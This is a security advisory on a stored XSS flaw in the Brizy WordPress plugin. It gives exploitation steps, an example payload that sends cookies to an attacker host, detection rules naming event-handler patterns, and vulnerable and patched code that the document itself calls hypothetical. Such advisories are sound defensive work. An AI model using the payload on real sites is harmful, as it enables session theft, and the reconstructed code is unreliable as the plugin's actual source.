CVE-2024-1161

Executive Summary

CVE-2024-1161 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder plugin for WordPress. The flaw resides in the plugin's Custom Attributes feature for blocks, affecting all versions up to and including 2.4.43. Due to insufficient input sanitization and output escaping, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts into pages. These scripts execute whenever a victim user accesses the compromised page, leading to potential session hijacking, data theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for broad impact due to the stored nature of the payload.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level or above
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While authentication is required, the ability to store persistent scripts that execute on page load makes this a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability exists in the Brizy page builder's handling of custom HTML attributes for blocks. When a user with contributor-level permissions or higher edits a page using Brizy, they can add custom attributes (e.g., class, id, data-*) to blocks. The plugin fails to properly sanitize and escape these attribute values before storing them in the database and rendering them on the frontend.

Attack Flow:

1. An authenticated attacker with contributor-level access creates or edits a page using Brizy.
2. The attacker adds a custom attribute to a block (e.g., a text block) containing a malicious JavaScript payload, such as onmouseover="alert('XSS')" or a more sophisticated payload.
3. The plugin stores the attribute value without proper sanitization.
4. When any user (including administrators or visitors) views the page, the malicious script executes in their browser context.

Root Cause: The plugin's Brizy_Editor_Block::get_custom_attributes() method or similar function does not apply esc_attr() or equivalent escaping to attribute values before output. Additionally, input validation is insufficient to block event handlers or script tags.

Vulnerable vs. Patched Code

Vulnerable Code (Brizy <= 2.4.43):

// In Brizy_Editor_Block or similar class
public function get_custom_attributes() {
    $attributes = $this->get_meta('custom_attributes');
    $output = '';
    if (is_array($attributes)) {
        foreach ($attributes as $attr) {
            $output .= ' ' . $attr['name'] . '="' . $attr['value'] . '"';
        }
    }
    return $output;
}

The $attr['value'] is directly concatenated without escaping, allowing injection of event handlers.

Patched Code (Hypothetical Fix):

public function get_custom_attributes() {
    $attributes = $this->get_meta('custom_attributes');
    $output = '';
    if (is_array($attributes)) {
        foreach ($attributes as $attr) {
            $output .= ' ' . esc_attr($attr['name']) . '="' . esc_attr($attr['value']) . '"';
        }
    }
    return $output;
}

The fix uses esc_attr() to escape both the attribute name and value, preventing injection of malicious event handlers or script tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Brizy plugin <= 2.4.43
• Authenticated user with contributor-level or higher permissions

Exploitation Steps:

1. Log in as a contributor-level user.
2. Create a new page or edit an existing one using Brizy.
3. Add a block (e.g., a text block) and navigate to its "Custom Attributes" settings.
4. Add a new attribute with:
   • Name: onmouseover
   • Value: alert('XSS')
5. Save the page and publish it.
6. When any user visits the page and hovers over the block, the XSS payload executes.

Advanced Payload Example:

• Name: onload
• Value: fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual custom attributes in Brizy blocks via database queries.
• Look for event handlers (e.g., onmouseover, onclick, onload) in page content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

• Restrict contributor-level permissions to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Apply the official patch as soon as it becomes available.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified pages/posts containing event handler attributes in Brizy blocks.
  • Suspicious entries in wp_postmeta with meta_key brizy-custom-attributes containing JavaScript.

• Network Indicators:

  • Outbound requests to attacker-controlled domains from WordPress admin or frontend.
  • Unusual HTTP headers or parameters in page requests.

• Log Indicators:

  • WordPress audit logs showing creation of pages with custom attributes by contributor users.
  • Web server logs showing requests to pages with injected scripts.

Detection Engineering

YARA Rule

rule Brizy_Stored_XSS_CVE_2024_1161 {
    meta:
        description = "Detects stored XSS payloads in Brizy custom attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1161"
    strings:
        $xss_payload = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $brizy_attr = /brizy-custom-attributes/
    condition:
        $brizy_attr and $xss_payload
}

Sigma Rule

title: Brizy Stored XSS via Custom Attributes
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via Brizy custom attributes
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: 'brizy'
        http.request.body|contains: 'onmouseover'
    condition: selection
falsepositives:
    - Legitimate use of event handlers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Brizy Stored XSS Attempt - Custom Attributes"; flow:to_server,established; content:"brizy"; http_uri; content:"onmouseover"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy plugin until a patch is applied.
2. Review and remove any suspicious custom attributes from existing pages.
3. Audit user permissions and remove contributor access from untrusted users.

Long-term Fix:

• Apply the official patch from Brizy (version 2.4.44 or later) once released.
• Implement input validation and output escaping for all custom attributes.
• Use WordPress's esc_attr() function for attribute values.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Monitor for similar vulnerabilities in other page builder plugins.

Valters IT
DevSecOps & Cyber Threat Intelligence